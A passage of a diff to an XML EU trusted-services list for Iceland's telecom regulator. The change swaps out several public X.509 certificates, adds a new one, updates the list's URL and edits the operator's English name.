GNlcnRmaWNhdGUgZnVsZmlscyB0aGUgcmVxdWlyZW1lbnRzIGZvciBhIHF1YWxpZmllZCBjZXJ0aWZpY2F0ZSBhcyBkZWZpbmVkIGluIGFjdCAyOC8yMDAxIGFuZCBEaXJlY3RpdmUgOTkvOTMvRUMuMDUGCCsGAQUFBwIBFilodHRwOi8vY3AuYXVka2VubmkuaXMvZnVsbGdpbHRhdWRrZW5uaS9jcDAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwIwHwYDVR0jBBgwFoAUwik+hv+GxNo1H2mmpP8BgzxKM6kwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL2NybC5hdWRrZW5uaS5pcy9mdWxsZ2lsdGF1ZGtlbm5pL2xhdGVzdC5jcmwwHQYDVR0OBBYEFNNZ3rhmooPK+nW1XmZZwfHQStfiMA0GCSqGSIb3DQEBCwUAA4IBAQAUwX04LF+TxeCepbgAOn9o1pKix12gkYQW8vsg88csXcQA2cNbsAvczNo3TUl6xAw0x+935sbczQ206hQlyXzyrT4KkvWJ4tE+eNV54gIw1WIzYAWMI6JwJt6V1RucYv2Pqw2DnfDB6b36OIW4V7MNju/B5AF/nmTPC2Afr3am9RxlqdnoN3EuFP++iz0ETJUY+i0Sq8O7B81lJWCCik5gEhckTca+kyg6ahpzgn0KyAB8wRa5ZjKRI6FHRDWSuUakWchXYxrzN//qzzFMD9Dz3yEy/rgUH/aY4HprOqaIvvKDzct5RoFLbErcZVrUnOvgAUCQIvnv+lN6UUFrKHIK</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIFzTCCBLWgAwIBAgIDIq6KMA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAklTMRMwEQYDVQQFEwo1MjEwMDAyNzkwMRUwEwYDVQQKEwxBdWRrZW5uaSBoZi4xJzAlBgNVBAsTHlV0Z2VmYW5kaSBmdWxsZ2lsZHJhIHNraWxyaWtqYTEaMBgGA1UEAxMRRnVsbGdpbHQgYXVka2VubmkwHhcNMjEwNjE2MDkwNDMzWhcNMjIwNjE2MDkwNDMzWjCBhzELMAkGA1UEBhMCSVMxFjAUBgNVBAsTDWVpbmthc2tpbHJpa2kxFDASBgNVBAsMC0F1w7BrZW5uaW5nMQswCQYDVQQLEwIxMTETMBEGA1UEBRMKMTExMTg4MzAwOTEoMCYGA1UEAwwfU3ZhdmEgR2Vyw7B1ciBJbmdpbXVuZGFyZMOzdHRpcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOKxHqgk/8c0AmyC/6we1zwJCqxA8U5kGt6qvS21HEveJKUk1zAbGqadAeDukbfTivDNhd7KedaTEOL7RfVN+cQJqwWAfcJUbdhMR6IguxtC4Hnc3WXMWRFuKRuGzEILZBhI5nD+HzyxESMj/EBSKe+TFsoxRc2WNx+9b6Yfd97Q4zlrWK3sXwc3JqTX8CKYzJzB7w4XKe/1WASPlFDp7chRlLmJmwkD4SXTUbB71FKmBQX4/daR8lCGFiwbMR2TT4ZleAJt8vF6hn7ekelMRuvHk3nTgy1IXtObfBydm6UHUZBoqHmV173F23spTd/pc2TcUiEmbKeqTqXEyZ4MpOkCAwEAAaOCAkgwggJEMAwGA1UdEwEB/wQCMAAwdwYIKwYBBQUHAQEEazBpMCMGCCsGAQUFBzABhhdodHRwOi8vb2NzcC5hdWRrZW5uaS5pczBCBggrBgEFBQcwAoY2aHR0cDovL2NkcC5pc2xhbmRzcm90LmlzL3NraWxyaWtpL2Z1bGxnaWx0YXVka2VubmkucDdiMIIBDwYDVR0gBIIBBjCCAQIwgf8GCWCCYAECAQEBAjCB8TCBtwYIKwYBBQUHAgIwgaoagadUaGlzIGNlcnRpZmljYXRlIGlzIGludGVuZGVkIGZvciBhdXRoZW50aWNhdGlvbi4gVGhpcyBjZXJ0ZmljYXRlIGZ1bGZpbHMgdGhlIHJlcXVpcmVtZW50cyBmb3IgYSBxdWFsaWZpZWQgY2VydGlmaWNhdGUgYXMgZGVmaW5lZCBpbiBhY3QgMjgvMjAwMSBhbmQgRGlyZWN0aXZlIDk5LzkzL0VDLjA1BggrBgEFBQcCARYpaHR0cDovL2NwLmF1ZGtlbm5pLmlzL2Z1bGxnaWx0YXVka2VubmkvY3AwDgYDVR0PAQH/BAQDAgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMCMB8GA1UdIwQYMBaAFMIpPob/hsTaNR9ppqT/AYM8SjOpMEMGA1UdHwQ8MDowOKA2oDSGMmh0dHA6Ly9jcmwuYXVka2VubmkuaXMvZnVsbGdpbHRhdWRrZW5uaS9sYXRlc3QuY3JsMB0GA1UdDgQWBBRP0xNSYRfoAKJosUeOWiO5qKs5vjANBgkqhkiG9w0BAQsFAAOCAQEAxTp8gmBY2Gla0+rHE4DW5Ze459sth1HrG8G1KkCoz4BZzczdRrf2zmcYgcmQ31p1+2LzNMGnVy3nVw5rTqFDV8S8aEBzkwiC9syKgkbXMwjwIZKKCGQtSq/NqmsffLbY1K+IWVp0bwiERmo0IdXf+AjsPrZceHd8T0gCLkH991H+yKIGncD1pqDFAUPr4s6eQANFxCtqgEBbCk0s/e60RRwwhbTP+b8EH02kPWa6v6mH8tgICbykW16uxSTZi7ZF9emkI8coxFrC3MKFj14jAciAPRTQmeauePnkZzjM0ypcP1O6NdcMKz44EmKBzfcxKFfoJZepU8Cq8Z4HOd88SA==</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
                     <ServiceDigitalIdentity>
                         <DigitalId>
                             <X509Certificate>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</X509Certificate>
@@ -1301,8 +1277,13 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                             <X509Certificate>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</X509Certificate>
                         </DigitalId>
                     </ServiceDigitalIdentity>
+                    <ServiceDigitalIdentity>
+                        <DigitalId>
+                            <X509Certificate>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</X509Certificate>
+                        </DigitalId>
+                    </ServiceDigitalIdentity>
                 </ServiceDigitalIdentities>
-                <TSLLocation>https://www.fjarskiptastofa.is/library/skrar/tsl/tsl.pdf</TSLLocation>
+                <TSLLocation>https://tsl.fjarskiptastofa.is/library/skrar/tsl/tsl.pdf</TSLLocation>
                 <AdditionalInformation>
                     <OtherInformation>
                         <TSLType>http://uri.etsi.org/TrstSvc/TrustedList/TSLType/EUgeneric</TSLType>
@@ -1315,7 +1296,7 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
                     </OtherInformation>
                     <OtherInformation>
                         <SchemeOperatorName>
-                            <Name xml:lang="en">The Electronic Communications Office of Iceland</Name>
+                            <Name xml:lang="en">Electronic Communications Office of Iceland</Name>
                             <Name xml:lang="is">Fjarskiptastofa</Name>
                         </SchemeOperatorName>
                     </OtherInformation>
@@ -1329,31 +1310,6 @@ Europska Komisija održava ovo web-mjesto kao sredstvo za postizanje interoperab
             </OtherTSLPointer>
             <OtherTSLPointer>
                 <ServiceDigitalIdentities>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>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</X509Certificate>
-                        </DigitalId>
-                    </ServiceDigitalIdentity>
-                    <ServiceDigitalIdentity>
-                        <DigitalId>
-                            <X509Certificate>MIIF7zCCBNegAwIBAgIDGSj2MA0GCSqGSIb3DQEBCwUAMH4xCzAJBgNVBAYTAklTMRMwEQYDVQQFEwo1MjEwMDAyNzkwMRUwEwYDVQQKEwxBdWRrZW5uaSBoZi4xJzAlBgNVBAsTHlV0Z2VmYW5kaSBmdWxsZ2lsZHJhIHNraWxyaWtqYTEaMBgGA1UEAxMRRnVsbGdpbHQgYXVka2VubmkwHhcNMTgxMTEzMDkwMjQ1WhcNMjAxMTEzMDkwMjQ1WjCBqTELMAkGA1UEBhMCSVMxFjAUBgNVBAoTDU5leXRlbmRhc3RvZmExFzAVBgNVBAsTDnN0YXJmc3NraWxyaWtpMRQwEgYDVQQLDAtBdcOwa2VubmluZzEKMAgGA1UECxMBNTEeMBwGA1UEBRMVMDMxMjgwMzk3OTo2OTA2MDUzNDEwMScwJQYDVQQDDB5HdcOwbXVuZGEgw4FzbGF1ZyBHZWlyc2TDs3R0aXIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkqSN5Qjm4afiRoqk/C2TsIj4H3dF1U0kTPhWi4UJX2+5k/rYbjubZLiMxp++Qt2k5M3mYouvD14ocrjuYtXxSXyefge6YSaegYu8pHLx51jgdoOxtu5klE0yvRN9YMpEce/2w/LIKMWCcRD1gK05mS9OH3TngSYzo668CUkf9zdRuZQ/jeA/0o1IaGeSsrwET1akTAOfUg/TrUyS4Hk584/JciZWXaZJAouxZszz/o6Vw44z+KmkiYqsYow/6OlcJzJHnQaK3JrQn88/YoY+0aWcXuZt3r/0eFSRbElUwJ5LYic6EWAmNGgflI3CmUB8MV+ZBZLEqBuF4gw2VGVhXAgMBAAGjggJIMIICRDAMBgNVHRMBAf8EAjAAMHcGCCsGAQUFBwEBBGswaTAjBggrBgEFBQcwAYYXaHR0cDovL29jc3AuYXVka2VubmkuaXMwQgYIKwYBBQUHMAKGNmh0dHA6Ly9jZHAuaXNsYW5kc3JvdC5pcy9za2lscmlraS9mdWxsZ2lsdGF1ZGtlbm5pLnA3YjCCAQ8GA1UdIASCAQYwggECMIH/BglggmABAgEBAQIwgfEwgbcGCCsGAQUFBwICMIGqGoGnVGhpcyBjZXJ0aWZpY2F0ZSBpcyBpbnRlbmRlZCBmb3IgYXV0aGVudGljYXRpb24uIFRoaXMgY2VydGZpY2F0ZSBmdWxmaWxzIHRoZSByZXF1aXJlbWVudHMgZm9yIGEgcXVhbG